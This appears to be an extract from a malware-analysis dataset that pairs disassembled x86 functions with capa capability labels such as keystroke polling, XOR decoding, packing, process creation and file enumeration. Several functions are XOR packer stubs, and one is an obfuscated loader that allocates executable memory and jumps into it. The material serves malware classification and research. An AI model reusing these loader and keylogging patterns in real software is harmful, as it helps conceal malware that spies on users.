joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1002a150
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, 0x1005f097
call fcn.1005dc20
sub esp, 0x28
push ebx
push esi
push edi
mov dword [ebp - 0x18], 0x347f
mov edi, ecx
cmp dword [ebp - 0x18], 0x3595
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1c], edi
jle 0x1002a19e
xor esi, esi
xor ebx, ebx
lea eax, [ebx + esi]
mov ecx, 0x100792d8
cdq
push edx
push eax
call fcn.10004ea6
inc ebx
cmp ebx, 0xb04
jl 0x1002a17c
inc esi
cmp esi, 0x3b98
jl 0x1002a17a
and dword [ebp - 4], 0
cmp dword [ebp - 0x18], 0x344d
jge 0x1002a1d9
mov edx, str.ulhfv_esci_usetrks_mbwu_bzmeniot_wdusyadm_uqkl_hrwovckvk
mov ecx, 0x100792d8
call fcn.10008ec9
jmp 0x1002a1d9
or dword [ebp - 4], 0xffffffff
cmp byte [ebp + 0xc], 0
je 0x1002a20f
push ecx
mov edx, 0x4e1a
lea ecx, [ebp - 0x34]
call fcn.10009f20
push ecx
push eax
mov ecx, edi
mov dword [ebp - 4], 2
call fcn.1002c219
push 0
push 1
lea ecx, [ebp - 0x34]
call fcn.1000587a
jmp 0x1002a224
mov byte [ebp - 0x11], 0
cmp byte [ebp - 0x11], 0
je 0x1002a224
push 0xa92
call dword [sym.imp.USER32.dll_GetKeyState]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10030bf8
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push esi
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x10030c50
lea eax, [ebp + 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
test eax, eax
je 0x10030c34
push 0
push 0
push 0x1db
push 0x26b
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ScrollWindow]
jmp 0x10030c4e
push 0x50a
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
jmp 0x10030ccd
mov eax, dword [ebp + 8]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x18], eax
lea eax, [ebp + 0x18]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
test eax, eax
je 0x10030c92
mov byte [ebp - 1], 0
push 0
push 0x1ac1
push 0
push 0x2021
lea eax, [ebp - 1]
push eax
call fcn.1003163d
add esp, 0x14
jmp 0x10030ccd
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x20]
call fcn.1002dec9
mov ecx, eax
mov eax, dword [ebp - 8]
cdq
mov esi, 0x3e8
idiv esi
add ecx, edx
mov eax, dword [ebp - 8]
cdq
mov esi, 0x3e8
idiv esi
add ecx, eax
mov eax, dword [ebp - 0x24]
mov dword [eax], ecx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10030cd2
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1005f32a
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x58
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
movzx eax, byte [ebp + 0x10]
test eax, eax
je 0x10030dd7
mov dword [ebp - 0x24], 0x44c9
mov dword [ebp - 0x2c], str.cgeyosiwz_txjbq_ixcqvx_tjtt
cmp dword [ebp - 0x24], 0x46cd
jle 0x10030d7e
and dword [ebp - 0x1c], 0
jmp 0x10030d24
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0x3581
jge 0x10030d7e
and dword [ebp - 0x20], 0
jmp 0x10030d3a
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x326b
jge 0x10030d7c
mov eax, dword [ebp - 0x1c]
or eax, dword [ebp - 0x20]
cdq
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], edx
push dword [ebp - 0x4c]
push dword [ebp - 0x50]
lea ecx, [ebp - 0x68]
call fcn.10001aaa
pop ecx
pop ecx
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x28]
call fcn.10004ba9
push eax
call fcn.10046fe3
pop ecx
lea ecx, [ebp - 0x68]
call fcn.10004b8b
jmp 0x10030d33
jmp 0x10030d1d
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x30], eax
and dword [ebp - 4], 0
cmp dword [ebp - 0x24], 0x43d0
jge 0x10030d9a
push dword [ebp - 0x2c]
call fcn.10046fe3
pop ecx
jmp 0x10030db6
or dword [ebp - 4], 0xffffffff
jmp 0x10030dc0
push dword [ebp - 0x30]
push 0x3a84
push 1
call fcn.10030e68
add esp, 0xc
jmp 0x10030e57
mov eax, dword [ebp + 8]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x38], eax
lea eax, [ebp + 0x14]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
movzx eax, byte [eax]
test eax, eax
je 0x10030e40
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x18]
mov dword [eax], 0
jmp 0x10030e21
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x18]
mov dword [ecx], eax
mov eax, dword [ebp - 0x18]
cmp dword [eax], 1
jge 0x10030e3e
mov eax, dword [ebp - 0x18]
push dword [eax]
mov ecx, dword [ebp - 0x48]
call fcn.100051e6
mov dword [eax], 4
jmp 0x10030e16
jmp 0x10030e57
mov byte [ebp - 0x11], 0
movzx eax, byte [ebp - 0x11]
test eax, eax
je 0x10030e57
push 0xa92
call dword [sym.imp.USER32.dll_GetKeyState]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100324d5
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
movzx eax, byte [ebp + 8]
test eax, eax
je 0x100325ba
lea eax, [ebp + 0x20]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
test eax, eax
je 0x100325ad
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 8]
movzx eax, byte [eax]
test eax, eax
je 0x1003255c
mov ecx, dword [ebp - 4]
call fcn.100403e7
movzx eax, al
test eax, eax
jne 0x100325ab
push 0x3f16
push 0x632e
push 0x71b0
push dword [ebp - 4]
push dword [ebp - 0x30]
push dword [ebp - 0x34]
push 0
push 0x5c0
call fcn.1003fcb4
add esp, 0x20
push 1
push 0x7336
push 0x48bb
push 1
push 0x60b0
push 0x1816
push 0x3253
push dword [ebp - 8]
call fcn.1003224d
add esp, 0x20
jmp 0x100325b8
push 0xa92
call dword [sym.imp.USER32.dll_GetKeyState]
jmp 0x100325cc
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x38], eax
push dword [ebp - 0x38]
push 0
call fcn.1003064b
pop ecx
pop ecx
mov esp, ebp
pop ebp
ret
Function at 0x43534b
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.0042708b
mov esi, dword [ebp + 8]
push 2
mov edi, eax
lea eax, [ebp - 4]
push eax
mov ecx, esi
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
jne 0x435383
xor eax, eax
jmp 0x4353af
cmp esi, dword [ebp - 4]
je 0x4353ac
cmp dword [ebp + 0xc], 0
je 0x4353ac
push dword [edi + 0x9c]
call fcn.00434f59
push dword [edi + 0x9c]
mov esi, eax
call fcn.00424fcd
pop ecx
pop ecx
cmp esi, eax
je 0x43537f
xor eax, eax
inc eax
pop edi
pop esi
leave
ret

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
push 4
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x433072
nop
mov ebx, 0x40de38
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x46a9699b
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x433060
nop
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x4330d2
nop
nop
mov ebx, 0x4304d8
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x72a31880
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
loop 0x4330c0
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x6d3f378d
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x9c]
sub esp, 0x11c
mov eax, dword [0x6d410030]
xor eax, ebp
mov dword [ebp + 0x98], eax
mov eax, dword [ebp + 0xa4]
push ebx
push esi
push edi
mov edi, dword [sym.imp.advapi32.dll_RegEnumKeyA]
mov esi, 0x104
push esi
lea ecx, [ebp - 0x6c]
push ecx
xor ebx, ebx
mov dword [ebp - 0x80], eax
mov eax, dword [ebp + 0xa8]
push ebx
push eax
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], ebx
call edi
test eax, eax
jne 0x6d3f3830
mov eax, dword [ebp - 0x80]
push dword [eax + 8]
inc dword [ebp - 0x74]
lea eax, [ebp - 0x6c]
push eax
call fcn.6d3f7b30
pop ecx
pop ecx
test eax, eax
je 0x6d3f3819
test ebx, ebx
je 0x6d3f380d
lea eax, [ebp - 0x6c]
push ebx
push eax
call fcn.6d3f7b30
pop ecx
pop ecx
test eax, eax
jle 0x6d3f3819
push ebx
call fcn.6d3f5895
pop ecx
lea eax, [ebp - 0x6c]
push eax
call fcn.6d3f5874
pop ecx
mov ebx, eax
push esi
lea eax, [ebp - 0x6c]
push eax
push dword [ebp - 0x74]
push dword [ebp - 0x78]
call edi
test eax, eax
je 0x6d3f37da
xor edi, edi
cmp ebx, edi
jne 0x6d3f3834
xor eax, eax
jmp 0x6d3f38a0
lea eax, [ebp - 0x70]
push eax
push 0x20019
push edi
push ebx
push dword [ebp - 0x78]
call dword [sym.imp.advapi32.dll_RegOpenKeyExA]
push ebx
test eax, eax
je 0x6d3f3863
call fcn.6d3f5895
pop ecx
cmp dword [ebp - 0x70], edi
je 0x6d3f3830
push dword [ebp - 0x70]
call dword [sym.imp.advapi32.dll_RegCloseKey]
jmp 0x6d3f3830
call fcn.6d3f5895
pop ecx
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x6c]
push eax
push edi
push edi
push str.JavaHome
push dword [ebp - 0x70]
mov dword [ebp - 0x7c], esi
call dword [sym.imp.advapi32.dll_RegQueryValueExA]
test eax, eax
jne 0x6d3f3853
cmp dword [ebp - 0x70], edi
je 0x6d3f3896
push dword [ebp - 0x70]
call dword [sym.imp.advapi32.dll_RegCloseKey]
lea eax, [ebp - 0x6c]
push eax
call fcn.6d3f5874
pop ecx
mov ecx, dword [ebp + 0x98]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.6d3f8259
add ebp, 0x9c
leave
ret
Function at 0x6d3f555d
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
lea ebp, [esp - 0x214]
sub esp, 0x294
mov eax, dword [0x6d410030]
xor eax, ebp
mov dword [ebp + 0x210], eax
mov eax, dword [ebp + 0x21c]
push ebx
push esi
push edi
push 0x10
pop edi
mov dword [ebp - 0x78], eax
call fcn.6d3f53ca
push 8
mov esi, eax
call fcn.6d3f582d
mov ebx, eax
pop ecx
lea eax, [ebp + 0xd0]
push eax
push dword [ebp - 0x78]
mov dword [ebp - 0x80], ebx
call dword [sym.imp.kernel32.dll_FindFirstFileA]
cmp eax, 0xffffffff
je 0x6d3f55c8
mov dword [ebx], eax
lea eax, [ebp + 0xfc]
mov dword [ebx + 4], eax
mov edi, dword [ebx + 4]
test edi, edi
je 0x6d3f55cf
and dword [ebx + 4], 0
jmp 0x6d3f55e4
xor eax, eax
jmp 0x6d3f56af
lea eax, [ebp - 0x70]
push eax
push dword [ebx]
call dword [sym.imp.kernel32.dll_FindNextFileA]
neg eax
sbb edi, edi
lea eax, [ebp - 0x44]
and edi, eax
test edi, edi
je 0x6d3f5695
push edi
call fcn.6d3f7a10
pop ecx
cmp eax, 4
jl 0x6d3f55bb
add eax, edi
cmp byte [eax - 4], 0x2e
jne 0x6d3f55bb
add eax, 0xfffffffd
push 0x6d40982c
push eax
mov dword [ebp - 0x74], eax
call fcn.6d3f8270
pop ecx
pop ecx
test eax, eax
je 0x6d3f562a
push 0x6d409828
push dword [ebp - 0x74]
call fcn.6d3f8270
pop ecx
pop ecx
test eax, eax
jne 0x6d3f55bb
push 0x3b
push edi
call fcn.6d3f93f0
pop ecx
pop ecx
test eax, eax
jne 0x6d3f55bb
push dword [ebp - 0x78]
call fcn.6d3f7a10
push edi
mov ebx, eax
call fcn.6d3f7a10
mov dword [ebp - 0x74], eax
add eax, ebx
push eax
call fcn.6d3f582d
lea ecx, [ebx - 1]
push ecx
push dword [ebp - 0x78]
mov dword [ebp - 0x7c], eax
push eax
call fcn.6d3f7b30
mov eax, dword [ebp - 0x74]
inc eax
push eax
push edi
mov edi, dword [ebp - 0x7c]
lea eax, [edi + ebx - 1]
push eax
call fcn.6d3f7b30
mov ecx, dword [esi + 4]
add esp, 0x24
inc ecx
call fcn.6d3f5420
mov eax, dword [esi + 4]
mov ecx, dword [esi]
mov ebx, dword [ebp - 0x80]
mov dword [ecx + eax*4], edi
inc dword [esi + 4]
jmp 0x6d3f55bb
push dword [ebx]
call dword [sym.imp.kernel32.dll_FindClose]
push dword [ebx + 4]
call fcn.6d3f5895
push ebx
call fcn.6d3f5895
pop ecx
pop ecx
mov eax, esi
mov ecx, dword [ebp + 0x210]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.6d3f8259
add ebp, 0x214
leave
ret
Function at 0x6d3f7b30
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x6d3f7b3f
pop dword [ebp - 0x28]
mov eax, 0x6d3f7b3f
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0x9da72e02
sub dword [ebp - 0x38], 0x4f54e8b7
mov dword [ebp - 0x34], 0xab2ea4ff
sub dword [ebp - 0x34], 0x78fb58ba
mov dword [ebp - 0x30], 0x673bb303
add dword [ebp - 0x30], 0xe510912b
mov dword [ebp - 0x2c], 0x21cca506
sub dword [ebp - 0x2c], 0x21cca506
lea eax, [ebp - 0x38]
push eax
mov eax, 0x876fe767
add eax, 0xe5d098e9
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0xc45d0656
sub dword [ebp - 0x38], 0x4fea9d00
mov dword [ebp - 0x34], 0x223ea0f0
sub dword [ebp - 0x34], 0xe0d23f7b
mov dword [ebp - 0x30], 0x7b88784d
sub dword [ebp - 0x30], 0x18190be1
mov dword [ebp - 0x2c], 0x28f8a2bd
add dword [ebp - 0x2c], 0xd7075d43
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, 0x979bfa3f
sub eax, 0x2a5b79f3
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x3bc8e
push 0
call eax
mov ecx, 0xc299f2c5
add ecx, 0x3d66577f
xor esi, esi
add esi, eax
mov edx, 0x6dee3ffb
add edx, 0xff532805
add edx, dword [ebp - 0x28]
mov ebx, 0x92e0bf74
add dword [ebp - 0x14], edi
mov edi, dword [edx]
xor dword [ebp - 0x14], 0x48ede04a
add edi, ebx
add dword [ebp - 4], ebx
mov dword [esi], edi
xor dword [ebp - 0x1c], 0x30809296
add esi, 4
add edx, 0xae9699db
sub edx, 0xae9699d7
loop 0x6d3f7c58
add eax, 0x6f2329f6
add eax, 0x90ddf1ed
mov ebx, eax
add eax, 5
mov ecx, 0x6d3f0000
add ecx, dword [ebp - 0x28]
call ebx
leave
ret

Function at 0x6d3f8259
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x6d410030]
jne 0x6d3f8263
repz ret
jmp fcn.6d3fe721

Function at 0x430001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..pdata
nop
mov ebx, 0x408f6c
nop
mov ecx, 0x5e377d53
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43004e
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x430024
nop
mov eax, section..pdata_1
mov ebx, 0x42e3d0
nop
mov ecx, 0x7ad11ce1
nop
nop
nop
nop
nop
test eax, eax
je 0x430084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x41d3e0
Capabilities:
Terminate process

Disassembly:
mov eax, dword [0x5689c0]
mov ecx, dword [0x568980]
push esi
push eax
push ecx
call sub.XLIB.dll_Ordinal_313
add esp, 8
mov esi, 0x565fa0
jmp 0x41d400
mov eax, dword [esi]
test eax, eax
je 0x41d416
mov edx, dword [0x568980]
push eax
push edx
call sub.XLIB.dll_Ordinal_313
add esp, 8
add esi, 4
cmp esi, 0x5660b0
jl 0x41d400
mov eax, dword [0x566a54]
mov ecx, dword [eax]
push edi
push ecx
call fcn.0046cde0
mov edx, dword [0x566a54]
mov edi, dword [sym.imp.MSVCR80.dll_free]
push edx
call edi
add esp, 8
xor esi, esi
mov eax, dword [0x568944]
mov ecx, dword [esi + eax]
push ecx
call fcn.0046cde0
add esi, 4
add esp, 4
cmp esi, 0x94
jl 0x41d443
mov edx, dword [0x568944]
push edx
call edi
xor esi, esi
add esp, 4
cmp dword [0x565f80], esi
jle 0x41d491
mov eax, dword [0x565f7c]
mov ecx, dword [eax + esi*4]
push ecx
call fcn.0046cde0
add esi, 1
add esp, 4
cmp esi, dword [0x565f80]
jl 0x41d475
mov edx, dword [0x565f7c]
push edx
call edi
xor esi, esi
add esp, 4
cmp dword [0x562e90], esi
jle 0x41d4cc
mov edi, 0x5682cc
lea esp, [esp]
mov eax, dword [edi]
push eax
call fcn.0046cde0
add esi, 1
add esp, 4
add edi, 0xb8
cmp esi, dword [0x562e90]
jl 0x41d4b0
mov esi, 0x5660d4
pop edi
mov ecx, dword [esi]
push ecx
call fcn.0046cde0
add esi, 0x18
add esp, 4
cmp esi, 0x566104
jl 0x41d4d2
push 0
call dword [sym.imp.MSVCR80.dll_exit]
pop esi
int3
Function at 0x428080
Capabilities:
Copy file

Disassembly:
sub esp, 0x320
mov eax, dword [0x5627bc]
xor eax, esp
mov dword [esp + 0x31c], eax
mov eax, dword [esp + 0x328]
push ebx
mov ebx, dword [esp + 0x328]
push ebp
mov ebp, dword [esp + 0x33c]
xor ecx, ecx
push esi
mov esi, dword [esp + 0x344]
cmp ebp, 0x12c
setne cl
push edi
mov edi, dword [esp + 0x33c]
xor edx, edx
cmp edi, 0x12c
setne dl
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x340]
lea ecx, [ecx + ecx + 0x41]
mov dword [esp + 0x10], ecx
lea ecx, [esp + 0x18]
push ecx
lea edx, [edx + edx + 0x41]
push eax
mov dword [esp + 0x20], edx
call fcn.00522760
lea edx, [esp + 0x18]
push edx
push esi
mov dword [esp + 0x24], eax
call fcn.00522760
add esp, 0x10
cmp edi, 0x12c
mov esi, eax
jne 0x428129
mov eax, dword [esp + 0x14]
push eax
push ebx
call fcn.00427da0
add esp, 8
test eax, eax
je 0x428129
mov dword [esp + 0x14], eax
cmp ebp, 0x12c
mov edi, dword [sym.imp.MSVCR80.dll_sprintf]
jne 0x428195
push esi
push ebx
call fcn.00427da0
add esp, 8
test eax, eax
je 0x428147
mov esi, eax
mov ecx, dword [esp + 0x10]
push esi
push ecx
lea edx, [esp + 0x28]
push str._c:_s
push edx
call edi
mov ebp, dword [sym.imp.MSVCR80.dll_strrchr]
lea eax, [esp + 0x30]
push 0x2f
push eax
call ebp
add esp, 0x18
test eax, eax
jne 0x42817f
lea ecx, [esp + 0x20]
push 0x5c
push ecx
call ebp
add esp, 8
test eax, eax
je 0x428195
lea edx, [esp + 0x20]
mov byte [eax], 0
mov eax, dword [esp + 0x1c]
push edx
push eax
push ebx
call fcn.00430c70
add esp, 0xc
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x18]
push ecx
push edx
lea eax, [esp + 0x230]
push str._c:_s
push eax
call edi
mov ecx, dword [esp + 0x20]
push esi
push ecx
lea edx, [esp + 0x13c]
push str._c:_s
push edx
call edi
lea eax, [esp + 0x248]
push eax
call fcn.00438530
lea ecx, [esp + 0x148]
push ecx
call fcn.00438530
add esp, 0x28
push 0
lea edx, [esp + 0x128]
push edx
lea eax, [esp + 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, eax
test esi, esi
jne 0x428209
call fcn.005225b0
mov dword [eax], 0x28f
mov ecx, dword [esp + 0x32c]
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00523ce0
add esp, 0x320
ret
Function at 0x430c70
Capabilities:
Create directory

Disassembly:
sub esp, 0x10c
mov eax, dword [0x5627bc]
xor eax, esp
mov dword [esp + 0x108], eax
mov eax, dword [esp + 0x118]
push ebx
push ebp
push esi
mov esi, dword [esp + 0x11c]
push edi
lea ecx, [esp + 0x10]
push ecx
push eax
mov dword [esp + 0x18], 0x41
call fcn.00522760
mov ebp, eax
push ebp
push esi
call fcn.00427da0
add esp, 0x10
test eax, eax
je 0x430cbb
mov ebp, eax
mov edx, dword [esp + 0x10]
push ebp
push edx
lea eax, [esp + 0x1c]
push str._c:_s
push eax
call dword [sym.imp.MSVCR80.dll_sprintf]
lea ecx, [esp + 0x24]
push ecx
call fcn.00438530
mov ebx, dword [sym.imp.MSVCR80.dll__mkdir]
add esp, 0x14
lea edi, [esp + 0x14]
push edi
call fcn.005225d0
mov esi, eax
add esp, 4
test esi, esi
je 0x430d0c
lea edx, [esp + 0x14]
push edx
mov byte [esi], 0
lea edi, [esi + 1]
call ebx
add esp, 4
mov byte [esi], 0x5c
jmp 0x430ce8
mov eax, dword [esp + 0x10]
push ebp
push eax
lea ecx, [esp + 0x1c]
push str._c:_s
push ecx
call dword [sym.imp.MSVCR80.dll_sprintf]
lea edx, [esp + 0x24]
push edx
call ebx
add esp, 0x14
test eax, eax
pop edi
pop esi
pop ebp
pop ebx
je 0x430d56
call fcn.005225b0
mov dword [eax], 0x25b
xor eax, eax
mov ecx, dword [esp + 0x108]
xor ecx, esp
call fcn.00523ce0
add esp, 0x10c
ret
mov ecx, dword [esp + 0x108]
xor ecx, esp
mov eax, 1
call fcn.00523ce0
add esp, 0x10c
ret
Function at 0x433e90
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x90
mov eax, dword [0x5627bc]
xor eax, esp
mov dword [esp + 0x8c], eax
mov eax, dword [esp + 0x98]
push ebx
mov ebx, dword [esp + 0x98]
push ebp
push esi
push edi
xor ebp, ebp
cmp dword [ebx + 0x11c], 0x10
lea esi, [ebx + 0x9c]
mov ecx, 0x20
lea edi, [esp + 0x1c]
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], ebp
rep movsd dword es:[edi], dword [esi]
jg 0x433ee4
lea ecx, [esp + 0x2c]
mov dword [esp + 0x18], ecx
jmp 0x433eee
mov edx, dword [ebx + 0x120]
mov dword [esp + 0x18], edx
mov edx, dword [esp + 0x1c]
shr edx, 0x18
cmp dl, 1
jne 0x433f1c
movzx ecx, word [ebx + 0x96]
mov eax, ecx
and eax, 0x80000007
jns 0x433f0f
dec eax
or eax, 0xfffffff8
inc eax
neg eax
sbb eax, eax
neg eax
shr ecx, 3
add eax, ecx
jmp 0x433f23
movzx eax, word [ebx + 0x96]
movzx edi, word [esp + 0x5e]
mov esi, dword [esp + 0x10]
sub edi, eax
cmp dl, 1
setne al
sub al, 1
and eax, 0xff
movzx eax, al
mov dword [esp + 0x10], eax
mov ecx, dword [ebx + 0x90]
mov edx, dword [ecx]
mov eax, dword [esp + 0x14]
mov ecx, dword [edx + eax*4]
movzx edx, byte [ecx + ebp]
xor edx, dword [esp + 0x10]
mov eax, dword [ebx + 0x11c]
mov ecx, dword [esp + 0x18]
push 2
push edx
mov edx, dword [ebx + 0x88]
push eax
mov eax, dword [ebx + 4]
push ecx
push edx
push eax
push 0
call fcn.00436b00
mov byte [esi], al
movzx ecx, word [esp + 0x7a]
add ebp, 1
add esp, 0x1c
cmp ebp, ecx
jl 0x433fa9
xor ebp, ebp
test edi, edi
je 0x433f93
sub esi, edi
mov eax, dword [esp + 0x14]
movzx edx, word [ebx + 0x94]
add eax, 1
cmp eax, edx
mov dword [esp + 0x14], eax
jge 0x433fae
add esi, 1
jmp 0x433f42
mov ecx, dword [esp + 0x9c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00523ce0
add esp, 0x90
ret
Function at 0x438470
Capabilities:
Enumerate files on windows

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0xc]
push 0x20c
lea ebx, [esi + 0x154]
push 0
push ebx
call sub.MSVCR80.dll_memset
add esp, 0xc
test esi, esi
jne 0x438495
pop esi
xor eax, eax
pop ebx
ret
mov eax, dword [esi]
test eax, eax
push edi
je 0x4384db
cmp byte [eax], 0
je 0x4384db
mov eax, dword [esi + 0x150]
test eax, eax
je 0x4384b7
cmp eax, 0xffffffff
je 0x4384b7
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [esi]
lea edi, [esi + 0x10]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edx, dword [esi]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov dword [esi + 0x150], eax
mov byte [edx], 0
mov eax, ecx
jmp 0x4384ec
mov eax, dword [esi + 0x150]
lea edi, [esi + 0x10]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x43851d
lea eax, [esi + 0x3c]
lea edx, [esi + 0x15e]
sub edx, eax
jmp 0x438500
mov cl, byte [eax]
mov byte [edx + eax], cl
add eax, 1
test cl, cl
jne 0x438500
mov ecx, dword [edi]
pop edi
mov dword [esi + 0xc], ecx
pop esi
mov dword [ebx], 1
mov eax, ebx
pop ebx
ret
pop edi
pop esi
xor eax, eax
pop ebx
ret
Function at 0x439b20
Capabilities:
Terminate process

Disassembly:
sub esp, 4
mov eax, dword [0x5711a0]
test eax, eax
je 0x439b5b
cmp eax, 1
je 0x439b6a
cmp dword [0x57119c], 0
jne 0x439b48
push str.Disco_non_dimensionato_correttamente_n
call dword [sym.imp.MSVCR80.dll_printf]
add esp, 4
push 1
call dword [sym.imp.MSVCR80.dll_exit]
mov eax, dword [esp + 4]
add esp, 4
add esp, 4
ret
mov eax, dword [esp + 8]
add esp, 4
mov eax, dword [eax*4 + 0x54a9c0]
ret
mov eax, dword [esp + 8]
add esp, 4
mov eax, dword [eax*4 + 0x54aa10]
ret

Function at 0x439b80
Capabilities:
Terminate process

Disassembly:
sub esp, 4
